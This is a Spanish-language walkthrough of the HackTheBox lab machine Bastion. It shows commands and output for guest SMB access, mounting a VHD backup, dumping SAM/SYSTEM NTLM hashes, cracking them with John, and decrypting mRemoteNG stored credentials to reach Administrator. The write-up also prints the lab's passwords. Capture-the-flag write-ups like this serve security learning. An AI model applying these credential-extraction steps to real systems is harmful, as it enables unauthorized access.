HackTheBox - Bastion


Creado
HackTheBox - Bastion

Máquina Windows nivel fácil. Nos moveremos con Samba, jugaremos con el backup de una máquina virtual Windows para extraer los archivos SAM y SYSTEM… Crackearemos cosillas y nos daremos cuenta que un software guarda contraseñas de acceso al sistema, ¿qué procede? e.e

TL;DR (Spanish writeup)

Creada por: L4mpje.

ARAGANEEEEEEEEEEEEEEEZ! A jugar.

Nos enfrentaremos a carpetas compartidas mediante SMB, una de ellas tendrá un Backup de una máquina virtual Windows, jugando con algunas herramientas y archivos (SAM y SYSTEM) obtendremos los hashes NTLM de los usuarios Administrator, L4mpje y Guest. Jugaremos con cracking para obtener la contraseña en texto plano del usuario L4mpje, conseguiremos una sesión mediante SSH como él en el sistema.

Enumerando la máquina veremos que existe un programa llamado mRemoteNG (que se encarga entre otras cosas de proveer conexión entre protocolos (RDP, SSH, telnet, etc…)), en la web nos indican que ese servicio guarda las credenciales que se han usado para conectarse a otros protocolos (dichos antes, como SSH), encontraremos que se guardan en un objeto llamado confCons.xml, dentro están las credenciales encriptadas, usando mRemoteNG-Decrypt conseguiremos desencriptarlas y obtener la contraseña en texto plano usada por el usuario Administrator para conectarse al sistema… ¿Qué harías?

A darle.

Clasificación de la máquina

Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo plasmar lo que hice.

BUAAAJAJAAAAAaaaaaa, a rompernos!!

  1. Enumeración.
  2. Explotación.
  3. Escalada de privilegios.

Enumeración #

Como nunca hemos hecho, vamos a empezar por un escaneo de puertos mediante nmap, así vemos por donde empezar a jugar:

❱ nmap -p- --open -v 10.10.10.134 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función de S4vitar que me extrae los puertos en la clipboard

Nos responde:

# Nmap 7.80 scan initiated Wed Jun  2 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.134
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.134 ()   Status: Up
Host: 10.10.10.134 ()   Ports: 22/open/tcp//ssh///, 135/open/tcp//msrpc///, 139/open/tcp//netbios-ssn///, 445/open/tcp//microsoft-ds///, 5985/open/tcp//wsman///, 47001/open/tcp//winrm///, 49664/open/tcp/////, 49665/open/tcp/////, 49666/open/tcp/////, 49667/open/tcp/////, 49668/open/tcp/////, 49669/open/tcp/////, 49670/open/tcp/////
# Nmap done at Wed Jun  2 25:25:25 2021 -- 1 IP address (1 host up) scanned in 76.08 seconds

Por lo tanto, tenemos:

Puerto Descripción
22 SSH
135 RPC
139 SMB
445 SMB
5985, 47001 WinRM
49664, 49665, 49666, 49667, 49668, 49669, 49670 Desconocidos

Ahora hacemos un escaneo más profundo con base en los puertos encontrados, así podemos investigar sobre que servicio es cada puerto, posiblemente su software y si tiene scripts de nmap relacionados:

~(Para copiar los puertos directamente en la clipboard, hacemos uso de la función referenciada antes

❱ extractPorts initScan 

[*] Extracting information...

    [*] IP Address: 10.10.10.134
    [*] Open ports: 22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670

[*] Ports copied to clipboard

)~

❱ nmap -p 22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 -sC -sV 10.10.10.134 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

La respuesta es:

# Nmap 7.80 scan initiated Wed Jun  2 25:25:25 2021 as: nmap -p 22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 -sC -sV -oN portScan 10.10.10.134
Nmap scan report for 10.10.10.134
Host is up (0.11s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -28m59s, deviation: 1h09m15s, median: 10m58s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-06-02T18:56:49+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-06-02T16:56:51
|_  start_date: 2021-06-02T16:33:48

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun  2 25:25:25 2021 -- 1 IP address (1 host up) scanned in 74.97 seconds

Cositas interesantes tenemos:

Puerto Servicio Versión
22 SSH OpenSSH for_Windows_7.9
445 SMB Windows Server 2016 Standard 14393
5985, 47001 WinRM Microsoft HTTPAPI httpd 2.0

Un sistema operativo del servidor Samba, pero poco podemos hacer desde ya, así que empecemos a ver por donde entrar :s

Puertos 139-445 SAMBA

SAMBA en términos generales permite a nodos de una red compartir información (: Corto y sencillo e.e

Podemos jugar con la herramienta smbmap para ver si existen recursos compartidos en la red, como no tenemos usuarios aún, probamos con una sesión nula:

❱ smbmap -H 10.10.10.134 -u '' -p '' 
[!] Authentication error on 10.10.10.134

Pero jugando:

❱ smbmap -H 10.10.10.134 -u '' -p ' '
[+] Guest session       IP: 10.10.10.134:445    Name: unknown                                           
[-] Work[!] Unable to remove test directory at \\10.10.10.134\Backups\WGLCGDJOHA, please remove manually
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Backups                                                 READ, WRITE
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC

(También funciona así:

❱ smbmap -H 10.10.10.134 -u 'null' -p 'null'

)

Bien, vemos 4 recursos, pero solo tenemos acceso de lectura a 2 de ellos: Backups y IPC$, para ver el contenido de esos directorios nos apoyamos de la herramienta smbclient, empecemos por Backups:

❱ smbclient //10.10.10.134/Backups -U ''
Enter WORKGROUP\'s password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Apr 16 05:02:11 2019
  ..                                  D        0  Tue Apr 16 05:02:11 2019
  note.txt                           AR      116  Tue Apr 16 05:10:09 2019
  SDT65CB.tmp                         A        0  Fri Feb 22 07:43:08 2019
  WindowsImageBackup                 Dn        0  Fri Feb 22 07:44:02 2019

                7735807 blocks of size 4096. 2752055 blocks available
smb: \> 

Opa, vemos algunos archivos y un directorio, para trabajar cómodos vamos a descargarnos todo el directorio Backups a nuestro sistema, lo podemos hacer también con smbclient:

smb: \> prompt off
smb: \> recurse on
smb: \> mget *
getting file \note.txt of size 116 as note.txt (0,3 KiloBytes/sec) (average 0,3 KiloBytes/sec)
getting file \SDT65CB.tmp of size 0 as SDT65CB.tmp (0,0 KiloBytes/sec) (average 0,2 KiloBytes/sec)
getting file \WindowsImageBackup\L4mpje-PC\MediaId of size 16 as WindowsImageBackup/L4mpje-PC/MediaId (0,0 KiloBytes/sec) (average 0,1 KiloBytes/sec)

Pero se queda ahí un rato, para ver el tamaño de lo que estamos descargando podemos usar smbget que también nos permite descargar directorios compartidos mediante samba:

❱ smbget -R smb://10.10.10.134/Backups -U ''
Password for [] connecting to //Backups/10.10.10.134: 
Using workgroup WORKGROUP, guest user
smb://10.10.10.134/Backups/note.txt
smb://10.10.10.134/Backups/SDT65CB.tmp
smb://10.10.10.134/Backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
[WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd] 2,50MB of 5,05GB ...

Pues con razón u.u 5.05 gigas se me descarga en 3 días (:

Lo mejor en este caso, es hacer una montura de la carpeta compartida, así no tenemos que descargar nada (actualicen cifs-utils, me daba problemas y actualizándolo se solucionó):

❱ mkdir /mnt/Backups
❱ mount -t cifs -o username=' ' //10.10.10.134/Backups /mnt/Backups
Password for  @//10.10.10.134/Backups: 

Y obtenemos:

❱ tree /mnt/Backups/
/mnt/Backups/
├── note.txt
├── SDT65CB.tmp
└── WindowsImageBackup
    └── L4mpje-PC
        ├── Backup 2019-02-22 124351
        │   ├── 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
        │   ├── 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
        │   ├── BackupSpecs.xml
        │   ├── cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
        │   ├── cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
        │   ├── cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
        │   ├── cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
        │   ├── cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
        │   ├── cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
        │   ├── cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
        │   ├── cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
        │   ├── cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
        │   └── cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
        ├── Catalog
        │   ├── BackupGlobalCatalog
        │   └── GlobalCatalog
        ├── MediaId
        └── SPPMetadataCache
            └── {cd113385-65ff-4ea2-8ced-5630f6feca8f}

5 directories, 19 files

Listones, varios archivos a enumerar :P

Una nota:

❱ cat note.txt 
Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

Del resto de archivos solo tenemos dos llamativos:

❱ file *
9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd:                                                     Microsoft Disk Image, Virtual Server or Virtual PC, Creator vsim 1.1 (W2k) Fri Feb 22 12:44:00 2019, 104970240 bytes, CHS 1005/12/17, State 0x1
9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd:                                                     Microsoft Disk Image, Virtual Server or Virtual PC, Creator vsim 1.1 (W2k) Fri Feb 22 12:44:01 2019, 15999492096 bytes, CHS 31001/16/63, State 0x1
BackupSpecs.xml:                                                                              data
cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml: data
cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml:                                          data
cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml:                                    data
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml:          data
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml:          data
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml:          data
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml:          data
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml:          data
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml:          data
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml:          data

Intentando con strings o cat ante los .xml no logramos ver nada…

Buscando en internet y guiándonos por la descripción de los archivos, vemos que un objeto .vhd es usado para almacenar backups de discos duros virtuales (máquinas virtuales).

May include disk partitions, a file system, files, and folders. VHD extension.

Bien, dando algunos pasos por ahí encontramos este recurso:

Siguiéndolo podemos aprovechar la máquina virtual (backup) que conseguimos para montarla y ver que hay, esto lo logramos con la herramienta guestmount:

❱ mkdir /mnt/vhd
❱ guestmount --add "/mnt/Backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd" --inspector --ro -v /mnt/vhd/     
...

Yyyyy:

❱ pwd
/mnt/vhd
❱ ls -lh
total 2,0G
drwxrwxrwx 1 root root    0 feb 22  2019 '$Recycle.Bin'
-rwxrwxrwx 1 root root   24 jun 10  2009  autoexec.bat
-rwxrwxrwx 1 root root   10 jun 10  2009  config.sys
lrwxrwxrwx 2 root root   14 jul 13  2009 'Documents and Settings' -> /sysroot/Users   
-rwxrwxrwx 1 root root 2,0G feb 22  2019  pagefile.sys
drwxrwxrwx 1 root root    0 jul 13  2009  PerfLogs
drwxrwxrwx 1 root root 4,0K abr 11  2011 'Program Files'
drwxrwxrwx 1 root root 4,0K jul 13  2009  ProgramData
drwxrwxrwx 1 root root    0 feb 22  2019  Recovery
drwxrwxrwx 1 root root 4,0K feb 22  2019 'System Volume Information'
drwxrwxrwx 1 root root 4,0K feb 22  2019  Users
drwxrwxrwx 1 root root  16K feb 22  2019  Windows

Perfecto, tenemos el contenido de la máquina virtual, ahora nos queda recorrer directorios importantes y ver con que podemos jugar…

Explotación #

Peeero antes de enloquecernos con tanto archivo, vamos a la fija, ya que es un backup de todo el sistema, debemos tener acceso a los archivos SAM y SYSTEM, ya que entre los dos tienen las passwords de los usuarios en formato hash NTLM.

Por lo general están en la ruta Windows/System32/config:

❱ pwd
/mnt/vhd/Windows/System32/config
❱ ls -lh
total 73M
...
-rwxrwxrwx 1 root root 256K feb 22  2019 SAM
...
-rwxrwxrwx 1 root root 9,3M feb 22  2019 SYSTEM   
...

Y si (:

Ahora, juntando los archivos con la herramienta samdump2 podemos obtener los hashes de cada usuario, posteriormente podemos intentar PassTheHash o crackearlos:

❱ samdump2 SYSTEM SAM 
*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::   
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

Tres usuarios y dos de ellos dicen disabled (ni idea que significara en el contexto), tomemos la última parte de los hashes (que si nos fijamos, es la única parte que es dinámica) y guardémosla en un archivo:

❱ cat ntlm.hashes 
Administrator:31d6cfe0d16ae931b73c59d7e0c089c0   
Guest:31d6cfe0d16ae931b73c59d7e0c089c0
L4mpje:26112010952d963c8dc4217daec986d9

Bien…

Estuve probando con evil-winrm, psexec, wmiexec y crackmapexec con los hashes para hacer PassTheHash, pero no tuve éxito, así que solo nos queda intentar crackearlos, usando John The Ripper logramos esto, debemos pasarle unos parámetros:

❱ john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT ntlm.hashes
  • --wordlist: El archivo con el que queremos que itere cada hash en busca de similitudes.
  • --format: El formato en el que están los hashes, en nuestro caso NTLM (o NT para john).

Tenemos:

❱ john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT ntlm.hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
                 (Administrator)
bureaulampje     (L4mpje)
2g 0:00:00:02 DONE (2021-06-03 00:30) 0.8849g/s 4157Kp/s 4157Kc/s 4159KC/s burg772v..burdy1   
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
❱ john --show --format=NT ntlm.hashes 
Administrator:
Guest:
L4mpje:bureaulampje

3 password hashes cracked, 0 left

De los 3 usuarios encontró el resultado del hash de L4mpje, el cual da como contraseña a bureaulampje

Despues de algo de tiempo muerto jugando con las herramientas que use para el PassTheHash no conseguí hacer funcionar las credenciales, pero con crackmapexec pude confirmar que si son válidas:

❱ crackmapexec smb 10.10.10.134 -u 'L4mpje' -p 'pwincorrecta?'
SMB         10.10.10.134    445    BASTION          [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB         10.10.10.134    445    BASTION          [-] Bastion\L4mpje:pwincorrecta? STATUS_LOGON_FAILURE
❱ crackmapexec smb 10.10.10.134 -u 'L4mpje' -p 'bureaulampje'
SMB         10.10.10.134    445    BASTION          [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB         10.10.10.134    445    BASTION          [+] Bastion\L4mpje:bureaulampje

¿Se ve la diferencia? e.e

Al no saber donde más probar las credenciales, echamos un ojo al escaneo de nmap que hicimos y pues sí, había algo que no habíamos probado, el puerto 22 (SSH), validemos si por ahí las credenciales nos permiten entrar: (Pues como casi nunca está en una máquina Windows pues ni me acordaba de él :P)

❱ ssh L4mpje@10.10.10.134
L4mpje@10.10.10.134's password: 

186bash_ssh_lampjeSH

BOOOM! Tamos dentro del sistema como el usuario L4mpje :o

Acá ya podemos borrar las monturas, ya que no nos van a ser de utilidad (espero que no :P)

❱ umount /mnt/vhd
❱ umount /mnt/Backups

Sigamos.

Escalada de privilegios #

Despues de un rato profundizando, encontramos un rabbit hole en el directorio C:\Logs (que suena llamativo, pero no hay nada útil 🙃)…

Peeeero, finalmente encontramos algo llamativo y distinto:

PS C:\Program Files (x86)> dir

    Directory: C:\Program Files (x86)

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        16-7-2016     15:23                Common Files
d-----        23-2-2019     09:38                Internet Explorer
d-----        16-7-2016     15:23                Microsoft.NET
da----        22-2-2019     14:01                mRemoteNG
d-----        23-2-2019     10:22                Windows Defender
d-----        23-2-2019     09:38                Windows Mail
d-----        23-2-2019     10:22                Windows Media Player
d-----        16-7-2016     15:23                Windows Multimedia Platform   
d-----        16-7-2016     15:23                Windows NT
d-----        23-2-2019     10:22                Windows Photo Viewer
d-----        16-7-2016     15:23                Windows Portable Devices
d-----        16-7-2016     15:23                WindowsPowerShell

PS C:\Program Files (x86)>

Ven algo raro? ¯_(ツ)_/¯

Pues sí, hay un programa llamado mRemoteNG que normalmente no viene en los sistemas Windows, esto nos da un punto de partida para al menos ver de que se trata:

Este programa te permite administrar, en un mismo programa y con una interfaz muy sencilla y amigable, múltiples conexiones con diferentes protocolos. ¿mRemoteNG?.

Tales como:

RDP, VNC, SSH, Telnet, rlogin and other protocols. mremoteng store passwords.

Y si, como se ve en la referencia anterior, encontramos una vulnerabilidad para ese servicio 🤭, ya que administra varios conexiones entre protocolos, pero guarda las credenciales que se usan para esas conexiones ⚠️

It saves the passwords in an encrypted format. mremoteng store passwords.

Investigando donde las guarda, encontramos el módulo de metasploit al que se hace referencia y dentro el archivo con el que juega para extraer las credenciales:

186google_mremoteNG_rb

Tenemos dos rutas para probar y buscar el archivo llamado confCons.xml o hacer una búsqueda recursiva sobre todo el directorio C:\Users y ver si encuentra el objeto, hagamos esa opción:

PS C:\Program Files (x86)> Get-Childitem -Path C:\Users\ -Filter confCons.xml -recurse -ErrorAction SilentlyContinue -Force  

    Directory: C:\Users\L4mpje\AppData\Roaming\mRemoteNG

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        22-2-2019     14:03           6316 confCons.xml

PS C:\Program Files (x86)>

Le indicamos que busque en el directorio C:\Users y que filtre por un archivo llamado confCons.xml, que lo haga recursivamente (en todos los directorios) y fuerce a buscar archivos ocultos yyyy que si encuentra algún error lo salte y siga buscando.

Y lo encontramos 🔥 lo tenemos en la ruta:

C:\Users\L4mpje\AppData\Roaming\mRemoteNG

Veamos si es cierto 😬

PS C:\Program Files (x86)> ls C:\Users\L4mpje\AppData\Roaming\mRemoteNG

    Directory: C:\Users\L4mpje\AppData\Roaming\mRemoteNG

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
...
-a----        22-2-2019     14:03           6316 confCons.xml
...

PS C:\Program Files (x86)>

Y si, pues viendo su contenido encontramos las contraseñas de las que se hablaban:

PS C:\Program Files (x86)> type C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml

Vemos unas credenciales del usuario Administrator:

186win_confConsXML_1

Y otras del usuario L4mpje:

186win_confConsXML_2

Pero, están encriptadas, como las desencriptamos ❓

Con una simple búsqueda de decrypt mremoteng en la web, obtenemos este recurso que se encarga de esa tarea:

Lo clonamos y simplemente debemos pasarle la contraseña encriptada, probemos con la del usuario Administrator primero y despues con la de L4mpje:

❱ python3 mRemoteNG-Decrypt/mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="   
Password: thXLHM96BeKL0ER2
❱ python3 mRemoteNG-Decrypt/mremoteng_decrypt.py -s "yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB"   
Password: bureaulampje

(Es la misma con la que ingresamos por medio de SSH).

Perfecto, pues probemos esa contraseña del usuario Administrator contra el servicio SSH:

❱ ssh Administrator@10.10.10.134
Administrator@10.10.10.134's password:   

Colocamos la contraseña y obtenemos:

186bash_ssh_adminSH

LISSSSSSSSSSTO, tamos dentroooooooooooo 🚀

Veamos las flags…

186flags

Bonita máquina, bastante juguetona y de enumerar bien, me gusto el tema de las monturas y el tener que jugar con un backup de una máquina virtual, lindo eso…

Bueno bueno, hasta acá hemos llegado, y que el camino los guie hacia la guía del camino :P COMO SIEMPRE!! A romper todo!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus